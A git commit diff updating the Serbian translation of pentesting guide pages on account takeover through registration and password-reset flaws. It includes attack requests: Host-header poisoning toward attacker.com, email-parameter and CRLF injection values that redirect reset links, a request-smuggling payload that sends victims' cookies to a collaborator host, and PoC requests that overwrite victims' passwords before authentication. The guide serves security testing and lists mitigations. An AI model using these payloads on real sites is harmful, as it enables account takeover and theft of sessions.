Translated ['', 'src/pentesting-web/registration-vulnerabilities.md', 's

This commit is contained in:
Translator 2025-09-30 09:27:39 +00:00
parent a1d1a05495
commit 53a94ce447
2 changed files with 161 additions and 126 deletions

View File

@ -1,77 +1,78 @@
# Registracija & Preuzimanje Ranljivosti # Ranljivosti registracije i preuzimanja naloga
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
## Preuzimanje Registracije ## Preuzimanje naloga pri registraciji
### Dupla Registracija ### Duplikat registracije
- Pokušajte da generišete koristeći postojeće korisničko ime - Pokušajte da kreirate nalog koristeći postojeće korisničko ime
- Proverite varijacije email-a: - Proverite varijacije email-a:
- velika slova - velika slova
- \+1@ - \+1@
- dodajte tačku u email - dodavanje tačke u email adresu
- specijalni karakteri u imenu email-a (%00, %09, %20) - specijalni karakteri u delu email-a (%00, %09, %20)
- Stavite crne karaktere posle email-a: `test@test.com a` - Stavite prazne karaktere posle email-a: `test@test.com a`
- victim@gmail.com@attacker.com - victim@gmail.com@attacker.com
- victim@attacker.com@gmail.com - victim@attacker.com@gmail.com
### Enumeracija Korisničkog Imena ### Enumeracija korisničkog imena
Proverite da li možete da saznate kada je korisničko ime već registrovano unutar aplikacije. Proverite da li možete da utvrdite kada je korisničko ime već registrovano u aplikaciji.
### Politika Lozinki ### Politika lozinki
Kreirajte korisnika i proverite politiku lozinki (proverite da li možete koristiti slabe lozinke).\ Prilikom kreiranja korisnika proverite politiku lozinki (da li je moguće koristiti slabe lozinke). U tom slučaju možete pokušati bruteforce kredencijale.
U tom slučaju možete pokušati da bruteforce-ujete akreditive.
### SQL Injekcija ### SQL Injection
[**Proverite ovu stranicu** ](sql-injection/index.html#insert-statement)da biste saznali kako da pokušate preuzimanje naloga ili izvučete informacije putem **SQL Injekcija** u registracionim formama. [**Check this page** ](sql-injection/index.html#insert-statement) da naučite kako pokušati preuzimanje naloga ili izvlačenje informacija putem **SQL Injections** u formama za registraciju.
### Oauth Takeovers
### Oauth Preuzimanja
{{#ref}} {{#ref}}
oauth-to-account-takeover.md oauth-to-account-takeover.md
{{#endref}} {{#endref}}
### SAML Ranljivosti ### SAML Vulnerabilities
{{#ref}} {{#ref}}
saml-attacks/ saml-attacks/
{{#endref}} {{#endref}}
### Promena Email-a ### Promena email adrese
Kada se registrujete, pokušajte da promenite email i proverite da li je ova promena ispravno validirana ili možete promeniti na proizvoljne email adrese. Nakon registracije pokušajte da promenite email i proverite da li je promena pravilno validirana ili je moguće postaviti proizvoljnu adresu.
### Dodatne Provere ### Dodatne provere
- Proverite da li možete koristiti **disposable email-ove** - Proverite da li možete koristiti **disposable emails**
- **Duga** **lozinka** (>200) dovodi do **DoS** - **Duga** **lozinka** (>200) dovodi do **DoS**
- **Proverite ograničenja brzine na kreiranju naloga** - **Proverite rate limits pri kreiranju naloga**
- Koristite username@**burp_collab**.net i analizirajte **callback** - Koristite username@**burp_collab**.net i analizirajte **callback**
## **Preuzimanje Lozinke Resetovanja** ## **Preuzimanje naloga putem resetovanja lozinke**
### Curjenje Tokena za Resetovanje Lozinke putem Referrera <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a> ### Password Reset Token Leak Via Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
1. Zatražite resetovanje lozinke na vašu email adresu 1. Zatražite reset lozinke na vašu email adresu
2. Kliknite na link za resetovanje lozinke 2. Kliknite na link za reset lozinke
3. Ne menjajte lozinku 3. Ne menjajte lozinku
4. Kliknite na bilo koje 3rd party veb sajtove (npr: Facebook, Twitter) 4. Kliknite na bilo koji 3rd party sajt (npr: Facebook, twitter)
5. Presretnite zahtev u Burp Suite proxy 5. Interceptujte zahtev u Burp Suite proxy
6. Proverite da li referer header curi token za resetovanje lozinke. 6. Proverite da li referer header leak-uje password reset token.
### Trovanje Resetovanja Lozinke <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a> ### Password Reset Poisoning <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
1. Presretnite zahtev za resetovanje lozinke u Burp Suite 1. Interceptujte zahtev za reset lozinke u Burp Suite
2. Dodajte ili izmenite sledeće header-e u Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com` 2. Dodajte ili izmenite sledeće header-e u Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. Prosledite zahtev sa izmenjenim header-om\ 3. Prosledite zahtev sa izmenjenim headerom\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com` `http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. Potražite URL za resetovanje lozinke na osnovu _host header-a_ kao što je : `https://attacker.com/reset-password.php?token=TOKEN` 4. Potražite URL za reset lozinke koji se bazira na _host header_-u kao npr.: `https://attacker.com/reset-password.php?token=TOKEN`
### Resetovanje Lozinke putem Email Parametra <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a> ### Reset lozinke putem email parametra <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
```bash ```bash
# parameter pollution # parameter pollution
email=victim@mail.com&email=hacker@mail.com email=victim@mail.com&email=hacker@mail.com
@ -90,56 +91,56 @@ email=victim@mail.com|hacker@mail.com
``` ```
### IDOR na API parametrima <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a> ### IDOR na API parametrima <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
1. Napadač mora da se prijavi sa svojim nalogom i ode na funkciju **Promena lozinke**. 1. Napadač mora da se prijavi svojim nalogom i ode na funkciju **Change password**.
2. Pokrenite Burp Suite i presretnite zahtev. 2. Pokrenite Burp Suite i Interceptujte request
3. Pošaljite ga na repeater tab i izmenite parametre: User ID/email\ 3. Pošaljite ga na repeater tab i izmenite parametre : User ID/email\
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})` `powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
### Slab token za resetovanje lozinke <a href="#weak-password-reset-token" id="weak-password-reset-token"></a> ### Slab token za reset lozinke <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
Token za resetovanje lozinke treba da bude nasumično generisan i jedinstven svaki put.\ Token za reset lozinke treba da bude nasumično generisan i jedinstven svaki put.\
Pokušajte da odredite da li token ističe ili je uvek isti, u nekim slučajevima algoritam za generisanje je slab i može se pogoditi. Sledeće varijable mogu biti korišćene od strane algoritma. Pokušajte da ustanovite da li token ističe ili je uvek isti — u nekim slučajevima algoritam generisanja je slab i može se pogoditi. Sledeće varijable mogu biti korišćene u algoritmu.
- Vreme - Timestamp
- UserID - UserID
- Email korisnika - Email korisnika
- Ime i prezime - Ime i prezime
- Datum rođenja - Datum rođenja
- Kriptografija - Kriptografija
- Samo brojevi - Samo brojevi
- Mala sekvenca tokena (karakteri između \[A-Z,a-z,0-9]) - Mala sekvenca tokena ( characters between \[A-Z,a-z,0-9])
- Ponovna upotreba tokena - Ponovna upotreba tokena
- Datum isteka tokena - Datum isteka tokena
### Curjenje tokena za resetovanje lozinke <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a> ### Leaking Password Reset Token <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
1. Pokrenite zahtev za resetovanje lozinke koristeći API/UI za specifičnu email adresu npr: test@mail.com 1. Triggerujte zahtev za reset lozinke koristeći API/UI za određeni email npr: test@mail.com
2. Istražite odgovor servera i proverite za `resetToken` 2. Pregledajte odgovor servera i proverite za `resetToken`
3. Zatim koristite token u URL-u kao `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]` 3. Zatim koristite token u URL-u kao `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
### Resetovanje lozinke putem kolizije korisničkog imena <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a> ### Reset lozinke putem kolizije korisničkog imena <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
1. Registrujte se na sistem sa korisničkim imenom identičnim korisničkom imenu žrtve, ali sa razmacima umetnutim pre i/ili posle korisničkog imena. npr: `"admin "` 1. Registrujte se u sistemu sa korisničkim imenom identičnim korisničkom imenu žrtve, ali sa ubačenim razmacima pre i/ili posle korisničkog imena. npr: `"admin "`
2. Zatražite resetovanje lozinke sa svojim zlonamernim korisničkim imenom. 2. Zatražite reset lozinke koristeći vaše zlonamerno korisničko ime.
3. Iskoristite token poslat na vašu email adresu i resetujte lozinku žrtve. 3. Iskoristite token poslat na vaš email i resetujte žrtvinu lozinku.
4. Priključite se nalogu žrtve sa novom lozinkom. 4. Prijavite se na žrtvin nalog sa novom lozinkom.
Platforma CTFd je bila ranjiva na ovaj napad.\ Platforma CTFd je bila ranjiva na ovaj napad.\
Pogledajte: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245) See: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
### Preuzimanje naloga putem Cross Site Scripting-a <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a> ### Preuzimanje naloga putem Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
1. Pronađite XSS unutar aplikacije ili poddomena ako su kolačići ograničeni na roditeljski domen: `*.domain.com` 1. Nađite XSS unutar aplikacije ili na subdomeni ako su cookies scoped na parent domain : `*.domain.com`
2. Icurite trenutni **sessions cookie** 2. Leak trenutni **sessions cookie**
3. Autentifikujte se kao korisnik koristeći kolačić 3. Autentifikujte se kao korisnik koristeći cookie
### Preuzimanje naloga putem HTTP Request Smuggling-a <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a> ### Preuzimanje naloga putem HTTP Request Smuggling <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
1\. Koristite **smuggler** da otkrijete tip HTTP Request Smuggling-a (CL, TE, CL.TE)\ 1\. Koristite **smuggler** da otkrijete tip HTTP Request Smuggling (CL, TE, CL.TE)\
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\ `powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
2\. Kreirajte zahtev koji će prepisati `POST / HTTP/1.1` sa sledećim podacima:\ 2\. Sastavite request koji će prepisati `POST / HTTP/1.1` sa sledećim podacima:\
`GET http://something.burpcollaborator.net HTTP/1.1 X:` sa ciljem da otvorite preusmeravanje žrtava na burpcollab i ukradete njihove kolačiće\ `GET http://something.burpcollaborator.net HTTP/1.1 X:` sa ciljem da otvorite redirect žrtava ka burpcollab-u i ukradete njihove cookies\
3\. Finalni zahtev može izgledati ovako 3\. Konačni request može izgledati ovako
``` ```
GET / HTTP/1.1 GET / HTTP/1.1
Transfer-Encoding: chunked Transfer-Encoding: chunked
@ -151,28 +152,49 @@ Content-Length: 83
GET http://something.burpcollaborator.net HTTP/1.1 GET http://something.burpcollaborator.net HTTP/1.1
X: X X: X
``` ```
Hackerone izveštava o eksploataciji ove greške\ Hackerone izveštaji o iskorišćavanju ovog buga\
\* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\ \* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
\* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666) \* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
### Preuzimanje naloga putem CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a> ### Account Takeover via CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
1. Kreirajte payload za CSRF, npr: “HTML forma sa automatskim slanjem za promenu lozinke” 1. Kreirajte payload za CSRF, npr: “HTML form with auto submit for a password change”
2. Pošaljite payload 2. Pošaljite payload
### Preuzimanje naloga putem JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a> ### Account Takeover via JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
JSON Web Token može se koristiti za autentifikaciju korisnika. JSON Web Token might be used to authenticate an user.
- Izmenite JWT sa drugim ID-jem korisnika / Email-om - Izmenite JWT sa drugim User ID / Email
- Proverite slabu JWT potpis - Proverite da li je JWT potpis slab
{{#ref}} {{#ref}}
hacking-jwt-json-web-tokens.md hacking-jwt-json-web-tokens.md
{{#endref}} {{#endref}}
## Registration-as-Reset (Upsert on Existing Email)
Neki signup handleri izvršavaju upsert kada navedeni email već postoji. Ako endpoint prihvata minimalno telo sa email-om i lozinkom i ne sprovodi verifikaciju vlasništva, slanje email-a žrtve će pre-auth prepisati njihovu lozinku.
- Otkrivanje: prikupite nazive endpointa iz bundled JS (ili mobile app traffic), zatim fuzz-ujte bazne putanje kao /parents/application/v4/admin/FUZZ koristeći ffuf/dirsearch.
- Naznake metode: GET koji vraća poruke kao "Only POST request is allowed." često ukazuje na ispravan HTTP metod i da se očekuje JSON body.
- Minimalno telo primećeno u praksi:
```json
{"email":"victim@example.com","password":"New@12345"}
```
Primer PoC:
```http
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json
{"email":"victim@example.com","password":"New@12345"}
```
Uticaj: Full Account Takeover (ATO) bez ikakvog reset token, OTP ili email verification.
## Reference ## Reference
- [How I Found a Critical Password Reset Bug (Registration upsert ATO)](https://s41n1k.medium.com/how-i-found-a-critical-password-reset-bug-in-the-bb-program-and-got-4-000-a22fffe285e1)
- [https://salmonsec.com/cheatsheet/account_takeover](https://salmonsec.com/cheatsheet/account_takeover) - [https://salmonsec.com/cheatsheet/account_takeover](https://salmonsec.com/cheatsheet/account_takeover)
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -1,12 +1,12 @@
# Reset/Forgotten Password Bypass # Reset/Zaboravljena lozinka - zaobilaženje
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
## **Password Reset Token Leak Via Referrer** ## **Token za reset lozinke Leak putem referer-a**
- HTTP referer header može leak password reset token ako je uključen u URL. Ovo se može desiti kada korisnik klikne na link treće strane nakon što zatraži password reset. - HTTP referer header može izložiti token za reset lozinke (leak) ako je uključen u URL. Ovo se može desiti kada korisnik klikne na link treće strane nakon što zatraži reset lozinke.
- **Impact**: Potencijalno preuzimanje naloga putem Cross-Site Request Forgery (CSRF) napada. - **Uticaj**: Potencijalno preuzimanje naloga putem Cross-Site Request Forgery (CSRF) napada.
- **Exploitation**: Da biste proverili da li password reset token leaking u referer headeru, **request a password reset** na vašu email adresu i **click the reset link** koji dobijete. **Do not change your password** odmah. Umesto toga, **navigate to a third-party website** (npr. Facebook ili Twitter) dok **intercepting the requests using Burp Suite**. Pregledajte zahteve da vidite da li **referer header sadrži password reset token**, jer bi to moglo izložiti osetljive informacije trećim stranama. - **Eksploatacija**: Da biste proverili da li password reset token leak-uje u referer header-u, **zatražite reset lozinke** na vašu email adresu i **kliknite na reset link** koji dobijete. **Nemojte odmah menjati lozinku**. Umesto toga, **posetite sajt treće strane** (npr. Facebook ili Twitter) dok **interceptujete zahteve koristeći Burp Suite**. Pregledajte zahteve da vidite da li **referer header sadrži token za reset lozinke**, jer to može izložiti osetljive informacije trećim stranama.
- **References**: - **References**:
- [HackerOne Report 342693](https://hackerone.com/reports/342693) - [HackerOne Report 342693](https://hackerone.com/reports/342693)
- [HackerOne Report 272379](https://hackerone.com/reports/272379) - [HackerOne Report 272379](https://hackerone.com/reports/272379)
@ -14,20 +14,20 @@
## **Password Reset Poisoning** ## **Password Reset Poisoning**
- Napadači mogu manipulisati Host header tokom password reset zahteva kako bi reset link upućivao na maliciozni sajt. - Napadači mogu manipulisati Host header-om tokom zahteva za reset lozinke kako bi reset link upućivao na maliciozni sajt.
- **Impact**: Vodi do potencijalnog preuzimanja naloga kroz leaking reset tokena napadačima. - **Uticaj**: Može dovesti do potencijalnog preuzimanja naloga kroz izlaganje reset tokena napadačima.
- **Mitigation Steps**: - **Koraci za ublažavanje**:
- Validirajte Host header upoređujući ga sa whitelist-om dozvoljenih domena. - Validirajte Host header upoređujući ga sa whitelist-om dozvoljenih domena.
- Koristite sigurne, server-side metode za generisanje apsolutnih URL-ova. - Koristite sigurne, server-side metode za generisanje absolutnih URL-ova.
- **Patch**: Koristite `$_SERVER['SERVER_NAME']` za konstrukciju password reset URL-ova umesto `$_SERVER['HTTP_HOST']`. - **Patch**: Koristite `$_SERVER['SERVER_NAME']` za konstrukciju password reset URL-ova umesto `$_SERVER['HTTP_HOST']`.
- **References**: - **References**:
- [Acunetix Article on Password Reset Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/) - [Acunetix Article on Password Reset Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
## **Password Reset By Manipulating Email Parameter** ## **Password Reset By Manipulating Email Parameter**
Napadači mogu manipulisati password reset zahtevom dodavanjem dodatnih email parametara kako bi preusmerili reset link. Napadači mogu manipulisati zahtevom za reset lozinke dodavanjem dodatnih email parametara kako bi preusmerili reset link.
- Add attacker email as second parameter using & - Dodajte email napadača kao drugi parametar koristeći &
```php ```php
POST /resetPassword POST /resetPassword
[...] [...]
@ -39,13 +39,13 @@ POST /resetPassword
[...] [...]
email=victim@email.com%20email=attacker@email.com email=victim@email.com%20email=attacker@email.com
``` ```
- Dodajte email napadača kao drugi parametar koristeći | - Dodajte adresu e-pošte napadača kao drugi parametar koristeći |
```php ```php
POST /resetPassword POST /resetPassword
[...] [...]
email=victim@email.com|email=attacker@email.com email=victim@email.com|email=attacker@email.com
``` ```
Dodajte email napadača kao drugi parametar koristeći cc - Dodajte email napadača kao drugi parametar koristeći cc
```php ```php
POST /resetPassword POST /resetPassword
[...] [...]
@ -57,7 +57,7 @@ POST /resetPassword
[...] [...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld" email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
``` ```
- Dodajte e-mail napadača kao drugi parametar koristeći , - Dodajte attacker email kao drugi parametar koristeći ,
```php ```php
POST /resetPassword POST /resetPassword
[...] [...]
@ -70,53 +70,53 @@ POST /resetPassword
{"email":["victim@mail.tld","atracker@mail.tld"]} {"email":["victim@mail.tld","atracker@mail.tld"]}
``` ```
- **Koraci ublažavanja**: - **Koraci ublažavanja**:
- Ispravno parsirajte i validirajte email parametre na serverskoj strani. - Ispravno parsirati i validirati email parametre na serverskoj strani.
- Koristite prepared statements ili parameterized queries da sprečite injection attacks. - Koristiti prepared statements ili parameterized queries kako bi se sprečili injection napadi.
- **References**: - **Referencije**:
- [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be) - [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
- [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/) - [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
- [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872) - [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
## **Promena email-a i lozinke bilo kog korisnika kroz API parametre** ## **Promena email i password bilo kog korisnika kroz API parametre**
- Napadači mogu izmeniti email i password parametre u API zahtevima kako bi promenili pristupne podatke naloga. - Napadači mogu izmeniti email i password parametre u API zahtevima kako bi promenili podatke za prijavu naloga.
```php ```php
POST /api/changepass POST /api/changepass
[...] [...]
("form": {"email":"victim@email.tld","password":"12345678"}) ("form": {"email":"victim@email.tld","password":"12345678"})
``` ```
- **Koraci ublažavanja**: - **Koraci ublažavanja**:
- Osigurajte strogu validaciju parametara i provere autentifikacije. - Obezbedite strogu validaciju parametara i provere autentifikacije.
- Implementirajte robusno logovanje i monitoring za otkrivanje i reagovanje na sumnjive aktivnosti. - Implementirajte pouzdano logovanje i monitoring kako biste otkrili i odgovorili na sumnjive aktivnosti.
- **Referenca**: - **Referenca**:
- [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240) - [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
## **Nedostatak ograničenja zahteva: Email Bombing** ## **No Rate Limiting: Email Bombing**
- Nedostatak rate limiting-a na zahtevima za reset lozinke može dovesti do email bombinga, preplavljujući korisnika porukama za reset. - Nedostatak rate limiting-a na zahtevima za password reset može dovesti do Email Bombing-a, preplavljući korisnika reset emailovima.
- **Koraci ublažavanja**: - **Koraci ublažavanja**:
- Implementirajte rate limiting baziran na IP adresi ili nalogu korisnika. - Implementirajte rate limiting baziran na IP adresi ili korisničkom nalogu.
- Koristite CAPTCHA izazove da sprečite automatizovanu zloupotrebu. - Koristite CAPTCHA izazove da sprečite automatizovanu zloupotrebu.
- **Reference**: - **Reference**:
- [HackerOne Report 280534](https://hackerone.com/reports/280534) - [HackerOne Report 280534](https://hackerone.com/reports/280534)
## **Saznajte kako se generiše token za reset lozinke** ## **Find out How Password Reset Token is Generated**
- Razumevanje obrasca ili metode iza generisanja tokena može dovesti do predviđanja ili brute-force napada na tokene. Neki primeri: - Razumevanje obrasca ili metode iza generisanja tokena može dovesti do predviđanja ili brute-force napada na tokene. Neke opcije:
- Bazirano na timestamp-u - Bazirano na timestamp-u
- Bazirano na ID-u korisnika - Bazirano na UserID
- Bazirano na email-u korisnika - Bazirano na email-u korisnika
- Bazirano na imenu i prezimenu - Bazirano na imenu i prezimenu
- Bazirano na datumu rođenja - Bazirano na datumu rođenja
- Bazirano na kriptografiji - Bazirano na kriptografiji
- **Koraci ublažavanja**: - **Koraci ublažavanja**:
- Koristite snažne, kriptografske metode za generisanje tokena. - Koristite jake, kriptografske metode za generisanje tokena.
- Obezbedite dovoljnu slučajnost i dužinu da se spreči predvidljivost. - Obezbedite dovoljno slučajnosti i dužine da sprečite predvidivost.
- **Alati**: Koristite Burp Sequencer za analizu slučajnosti tokena. - **Alati**: Koristite Burp Sequencer za analizu slučajnosti tokena.
## **Guessable UUID** ## **Guessable UUID**
- Ako su UUID-ovi (version 1) pogodljivi ili predvidivi, napadači mogu brute-force-ovati da generišu važeće reset tokene. Proverite: - Ako su UUID-ovi (version 1) pogodljivi ili predvidivi, napadači mogu da ih brute-force-uju kako bi generisali validne reset tokene. Check:
{{#ref}} {{#ref}}
@ -124,55 +124,55 @@ uuid-insecurities.md
{{#endref}} {{#endref}}
- **Koraci ublažavanja**: - **Koraci ublažavanja**:
- Koristite GUID verzije 4 za veću slučajnost ili implementirajte dodatne sigurnosne mere za druge verzije. - Koristite GUID version 4 zbog slučajnosti ili implementirajte dodatne sigurnosne mere za druge verzije.
- **Alati**: Koristite [guidtool](https://github.com/intruder-io/guidtool) za analizu i generisanje GUID-ova. - **Alati**: Koristite [guidtool](https://github.com/intruder-io/guidtool) za analiziranje i generisanje GUID-ova.
## **Manipulacija odgovora: Zamena lošeg odgovora dobrim** ## **Response Manipulation: Replace Bad Response With Good One**
- Manipulisanje HTTP odgovorima da bi se zaobišle poruke o greškama ili ograničenja. - Manipulisanje HTTP odgovora kako bi se zaobišle poruke o grešci ili restrikcije.
- **Koraci ublažavanja**: - **Koraci ublažavanja**:
- Implementirajte serverske provere kako biste osigurali integritet odgovora. - Implementirajte server-side provere kako biste osigurali integritet odgovora.
- Koristite sigurne komunikacione kanale poput HTTPS-a da sprečite man-in-the-middle napade. - Koristite sigurne komunikacione kanale poput HTTPS-a da biste sprečili man-in-the-middle napade.
- **Referenca**: - **Reference**:
- [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3) - [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
## **Korišćenje isteklog tokena** ## **Using Expired Token**
- Testiranje da li se istečeni tokeni i dalje mogu koristiti za reset lozinke. - Testiranje da li se istekli tokeni i dalje mogu koristiti za password reset.
- **Koraci ublažavanja**: - **Koraci ublažavanja**:
- Uvedite stroge politike isteka tokena i validirajte isteka tokena na serverskoj strani. - Implementirajte stroge politike isteka tokena i validirajte isteka tokena server-side.
## **Brute Force reset tokena** ## **Brute Force Password Reset Token**
- Pokušaji brute-force napada na reset token koristeći alate kao što su Burpsuite i IP-Rotator za zaobilaženje ograničenja po IP-u. - Pokušaj brute-force napada na reset token koristeći alate kao što su Burpsuite i IP-Rotator kako biste zaobišli IP-bazirana ograničenja.
- **Koraci ublažavanja**: - **Koraci ublažavanja**:
- Implementirajte robusno rate-limiting i mehanizme zaključavanja naloga. - Implementirajte robusno ograničavanje zahteva (rate-limiting) i mehanizme zaključavanja naloga.
- Pratite sumnjive aktivnosti koje ukazuju na brute-force napade. - Pratite sumnjive aktivnosti koje ukazuju na brute-force napade.
## **Pokušaj korišćenja vašeg tokena** ## **Try Using Your Token**
- Testiranje da li se reset token napadača može koristiti zajedno sa email-om žrtve. - Testiranje da li se napadačev reset token može koristiti zajedno sa email-om žrtve.
- **Koraci ublažavanja**: - **Koraci ublažavanja**:
- Osigurajte da su tokeni vezani za korisničku sesiju ili druge korisnički-specifične atribute. - Uverite se da su tokeni vezani za korisničku session ili druge korisnički-specifične atribute.
## **Session Invalidation in Logout/Password Reset** ## **Session Invalidation in Logout/Password Reset**
- Obezbeđivanje da se sesije invalidiraju kada se korisnik odjavi ili resetuje lozinku. - Osiguravanje da se session-i invalidiraju kada se korisnik odjavi ili resetuje lozinku.
- **Koraci ublažavanja**: - **Koraci ublažavanja**:
- Implementirajte odgovarajuće upravljanje sesijama, osiguravajući da sve sesije budu invalidirane pri odjavi ili resetu lozinke. - Implementirajte pravilno upravljanje session-ima, osiguravajući da svi session-i budu invalidirani pri odjavi ili resetovanju lozinke.
## **Session Invalidation in Logout/Password Reset** ## **Session Invalidation in Logout/Password Reset**
- Reset tokeni bi trebali imati vreme isteka nakon kog postaju nevažeći. - Reset tokeni bi trebalo da imaju vreme isteka posle kojeg postaju nevažeći.
- **Koraci ublažavanja**: - **Koraci ublažavanja**:
- Postavite razumno vreme isteka za reset tokene i striktno ga primenjivajte na serverskoj strani. - Postavite razumno vreme isteka za reset tokene i strogo ga sprovedite server-side.
## **OTP rate limit bypass by changing your session** ## **OTP rate limit bypass by changing your session**
- Ako sajt koristi korisničku sesiju za praćenje pogrešnih OTP pokušaja i OTP je slab (<= 4 cifre), tada možemo efikasno bruteforce-ovati OTP. - Ako sajt koristi user session za praćenje pogrešnih OTP pokušaja i OTP je slab ( <= 4 digits) onda možemo efikasno brute-force-ovati OTP.
- **eksploatacija**: - **eksploatacija**:
- samo zatražite novi session token nakon što vas server blokira. - jednostavno zatražite novi session token nakon što vas server blokira.
- **Example** code that exploits this bug by randomly guessing the OTP (when you change the session the OTP will change as well, and so we will not be able to sequentially bruteforce it!): - **Primer** koda koji eksploatiše ovaj bag nasumičnim pogađanjem OTP-a (kada promenite session, OTP će se takođe promeniti, pa nećemo moći da ga sekvencijalno brute-force-ujemo!):
``` python ``` python
# Authentication bypass by password reset # Authentication bypass by password reset
@ -233,9 +233,9 @@ print("[+] Attck stopped")
## Arbitrary password reset via skipOldPwdCheck (pre-auth) ## Arbitrary password reset via skipOldPwdCheck (pre-auth)
Neke implementacije izlažu akciju promene lozinke koja poziva rutinu za promenu lozinke sa skipOldPwdCheck=true i ne proverava nijedan reset token ili vlasništvo. Ako endpoint prihvata action parametar poput change_password i username/new password u telu zahteva, napadač može resetovati proizvoljne naloge pre autentifikacije. Neke implementacije izlažu akciju promene lozinke koja poziva rutinu za promenu lozinke sa skipOldPwdCheck=true i ne proverava nijedan reset token ili vlasništvo. Ako endpoint prihvata action parametar kao change_password i username/novu lozinku u telu zahteva, napadač može da resetuje proizvoljne naloge pre-auth.
Vulnerable pattern (PHP): Ranjiv obrazac (PHP):
```php ```php
// hub/rpwd.php // hub/rpwd.php
RequestHandler::validateCSRFToken(); RequestHandler::validateCSRFToken();
@ -262,14 +262,27 @@ Content-Type: application/x-www-form-urlencoded
action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd! action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!
``` ```
Mere ublažavanja: Mitigacije:
- Uvek zahtevajte validan, vremenski ograničen reset token vezan za account i session pre promene lozinke. - Uvek zahtevajte validan, vremenski ograničen reset token vezan za nalog i sesiju pre promene lozinke.
- Nikada ne izlažite skipOldPwdCheck paths neautentifikovanim korisnicima; primenjujte autentikaciju za regularne promene lozinke i proverite staru lozinku. - Nikada ne izlažite skipOldPwdCheck putanje neautentifikovanim korisnicima; zahtevajte autentifikaciju za uobičajene promene lozinke i proverite staru lozinku.
- Poništite sve aktivne sessions i reset tokens nakon promene lozinke. - Poništite sve aktivne sesije i reset tokene nakon promene lozinke.
## References ## Registration-as-Password-Reset (Upsert on Existing Email)
